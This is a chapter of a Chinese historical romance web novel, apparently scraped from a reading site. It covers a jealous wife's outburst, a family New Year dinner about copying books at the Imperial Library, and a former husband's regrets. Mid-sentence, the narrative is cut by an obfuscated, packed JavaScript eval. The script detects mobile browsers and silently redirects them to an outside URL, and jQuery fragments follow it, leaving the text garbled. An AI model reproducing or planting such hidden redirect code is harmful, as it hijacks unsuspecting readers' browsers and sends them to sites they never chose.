只怪当时巧汕没藏好被发现了,但在外又发不得火,于惜安压着一肚子火,让巧汕搀着着,一路从云幽湖一瘸一拐回到清乐院。
到了自家屋里她终于不再装脚疼了,摸到手的第一个东西,是个白瓷茶盏,即刻被她重重摔在了地上。
巧汕垂头丧气,有些害怕,但仍小心劝道:“郎君随时都会回来,夫人请息怒啊。”
“都是你,让你别跟过来,你这么蠢吗?”于惜安指着她脑门斥道,“若不是因为看到了你,世子今日就……”
于惜安看了一眼屋门,终究是没把话说全。
“夫人,”巧汕见她拾回了一点理智,忙劝慰道,“夫人已经嫁给大公子这么多年了,又有了恒儿和梦儿两个孩子,日子过得好好的,又何必如此执着呢?”
“你知道什么?”于惜安几乎是咬牙切齿,“这世子夫人的位子原便是我的,将来裴府主母的位子也该是我的,若不是她……你是知道的,这一切都是被她抢走的,如今她已经被赶出去了,可是三郎还是不肯多看我一眼。”
“夫人,”巧汕小声央求道,“您可千万别再提‘三郎’两个字了,若是被外头哪个耳朵长的听去了,可不得了。”
忽然,院子里传来什么声响,巧汕慌忙跑出去看,见是裴仰刚进了院子,正朝这边走来,此时他离正屋还远,应当是没有听到她们方才的对话,她这才放下心来,笑盈盈大声唤了一句:“是郎君回来啦!”
于惜安听见了,没好气深吸了口气,揉了揉僵硬的脸颊,端方在榻上坐好,等着裴仰进来。
裴仰一进屋就看到地上摔碎的茶盏,问道:“这是怎么了?夫人没事吧?”
“没事没事,不过是方才巧汕不小心摔的,还没来得及清扫你就回来了。”于惜安脸上换上一盏笑容,却没正眼瞧他。
“那就打扫干净吧。”裴仰道。
于惜安忽然觉得似乎哪里不对劲,他今日对她的关心似乎没有往日那样殷勤,按理说,他一进来看到这情景,本该是匆忙跑过来,摸着她的手,心疼问她有没有受伤,然后听见她说是巧汕不小心摔的才能放松下来,舒一口气,可是,他进门后只是随口问了一句却并没有过来她身边。
难道是他听见什么了?
待裴仰出去书房后,于惜安忙将巧汕唤到近前,仔仔细细询问,问她方才出去时见到裴仰走到了第几块砖,她估摸着听见动静的时间和距离,他应该是不可能听到她和巧汕说的话才对。
“夫人的声音不大,郎君在那儿是听不到的,夫人大可放心。”巧汕安慰道。
“管他听没听到呢。”
于惜安甩了甩帕子,也懒得想了,他知道又如何,要什么都比不过人家,又不是侯府世子,官场也不如意,胸无抱负,整日就知道舞文弄墨的,将来一家子要在这侯府待着还得仰人鼻息,他不过是一个窝囊废,又能如何。
*
永宁坊,方府。
萧宸衍问道:“来年,你可愿与我一同守岁?”
犹豫片刻,姜淮玉笑道:“来年除夕,皇宫宴,你也一起去吧?”
这不是他想要的答案。
萧宸衍眼底闪过一瞬的失落,便转而笑道:“好。”
此时,方京墨终于从秘书省赶回来了,连官服都来不及换就来了花厅,连连朝在座之人道歉。
迟到这么久,他自然是被姜霁书罚了许多杯。
“看不出你小子酒量不错啊。”
姜霁书用力拍了拍他的肩。
方京墨有些承不住他手上如此大的力道,咬紧后槽牙挺着,趁姜霁书与别人交谈没注意到他,他悄悄往旁边挪了挪椅子。
见方京墨往自己身边坐近了些,姜淮玉便与他说起话来,问道:“表哥近日很忙吗?”
“是,最近忙得很,突然来的差事,秘书省人手不够,所有人都过不了年了。”
方京墨坐得笔直端正,往旁边沉了沉气,怕自己身上沾了太多酒气被她闻到不好。
“突然是什么事这么忙?”姜淮玉好奇问道。
“下个月有外国使团进京,按以往的规矩咱们都会送些手抄书籍给各国使臣带回去,这些原本早都备好了,不过年前圣人突然觉得不够,临时加了许多书目要赠送。”
方京墨摇了摇头,叹道:“这么短的时间,根本来不及,我们临时从弘文馆征调楷书手来,可他们说近期也有自己的差事,只给了六个人。就连少监这几日都来馆中抄书了。”
梁娉仙也应和道:“可不是嘛,刚搬的新宅子还什么都没弄好,又还是年节里,天气还冷,现在连干活的下人都寻不到。”
“妹妹怎么不早同我说呢,”萧言岚笑道,“一会儿回去我便寻几个得力的下人过来给你帮忙,都这么久了,你也不早点说,亲人之间竟如此见外。”
梁娉仙忙道:“姐姐误会了,本也不是大事,这不是长翰说起来,我才唠叨几句嘛,我也没放在心上,家里有几个人先用着还是够了,等他空下来了,宅子里的事慢慢来没事的。”
“那可不行,家宅的事可是大事,妹妹你不要跟我客气,”萧言岚凝眉肃颜,“还有,以后若是有什么事你都不能瞒着我,尽管来找我就是了,咱们是亲人,该相互扶持的。”
“好,好。”
梁娉仙想起自己一把年纪了,孤儿寡母举家搬来长安,人生地不熟的,似无根之木,还得他人相帮,忽又难过起来。
方京墨看母亲不开心,知道她又想家了,心里也不是滋味,但他又不放心让她一个人留在太原,离得那么远,他只怕照顾不到她。
萧宸衍手中摇着折扇,冷眼看着桌上这些人亦真亦假的情谊,觉得无趣,刚想起身告辞,却听姜淮玉开口了。
“表哥,你看我能不能去帮你分担点,左右闲在家里也是看看书写写字的,不若去秘书省写写字。”
一旁静了许久的姜落莲拍手赞道:“是啊,表哥你不是还跟我夸过好几次姐姐的字写得好呢。”
一听姜落莲将他偶然同她说的话当众说出,方京墨耳根都红了,忙不迭说道:“是,是。”
“淮玉你何时有空可以去秘书省看看再说。”
姜淮玉起了兴致,立马答道:“我明日就无事,明日就可以去看看。”
“这是礼送外邦的书,奉旨抄书或许没有你想象的那般轻松,”萧宸衍却抢先方京
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785371|186439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墨一步说道,“且不说抄错了字该如何,你去帮忙没名没分的,就是千辛万苦也是没有人会知道的。”
萧宸衍实在是不喜欢姜淮玉与她表哥走得太近,现在看着他坐在她身边吃饭就已经是他能忍受的最大极限了。
方京墨觉得他是在敲打自己,朝姜淮玉郑重其事道:“每一本抄完之后都会有校书复核,绝不会出什么事的,你若是来,自是不能让你白白帮我,我定当上报,争取给你一个楷书手。”
“楷书手是个什么?几品?”姜霁书纳闷问道。
“呃……”方京墨觉得他肯定是看不上,支吾道:“流、流外官。”
姜霁书放下酒杯,刚要说话,就被姜淮玉挡了口,她笑道:“我本不在乎这些,就是闲来去看看,二哥你吃你的,这事你就别管了。”
看到她如此高兴,萧宸衍又改了主意,他唇角漾出一抹笑,点了点头,道:“你喜欢便去看看,只是别揽太多活,写几卷算几卷。”
“是,方某也是这个意思,”方京墨接道,“只当闲情便可,莫要累乏。”
方京墨心中欢喜,秘书省的差事枯燥乏味,若是有表妹相伴,美哉。
姜霁书还在掰着手指头算,过了半天才开口:“玉儿你好好干,以这楷书的俸禄,一年后或许可以攒足了银钱请哥哥们去云华阁吃一餐饭。”
姜淮玉知道她这个二哥打小起最不喜欢的便是读书写字,便不理会他的嘲笑,只是塞了个花糕给他,堵上他的嘴。
众人忍不住笑了。
*
夜已深,一整个冬日逸风苑的书房始终未燃过炭火。
怀竹觉得冷,早早就回自己屋里了。
窗前挑灯,裴睿此时独自一人,倚靠在榻上,一身宽松玄色绸袍未系带,露出里面洁白的里衣,墨发只是松松挽起,垂落身侧。
夜深寒凉,他却没有睡意。
自从除夕那夜见到姜淮玉之后,他一贯按部就班的生活似乎就被打乱了,他虽还是早起,还是按时进餐,可她的身影、她的名字却时不时冒出来。
原竟不知,她那般不知轻重,总在外头随意喝酒,除夕宴上,随便一个人过去她都笑意盈盈地与他们说话喝酒。知道的说她面子薄,不知道的便会以为她轻浮。
她就是轻浮。
裴睿想起从前,她总来弘文馆看他,她对他的喜欢热烈的明目张胆,现在,她想要重择一个喜欢的人,便也还是那般明目张胆。
他又想起盛孑翊,想起方京墨,想起萧宸衍,她与他们每一个人都可言笑,唯独对他……
为何总想这些,裴睿叹了声气,干脆扔了手中书册,转身绕过那幅屏风,褪去外衫,放下床帏。
帐中之人的温香,和那堪堪一握的纤腰。
从前这个时候,他若是想起她,便会去后院,她无论何时都在等他,无论他何时过去,她都欢喜。
现如今,后院凄冷无人,已再不是从前。
当年他娶她时,没有想过什么,去岁她离开时,他也没有想过什么。似乎一切如流水一般,来则来,去则去。
可为何这几日却会频繁想起她,如今他们只是毫不相干的陌路人。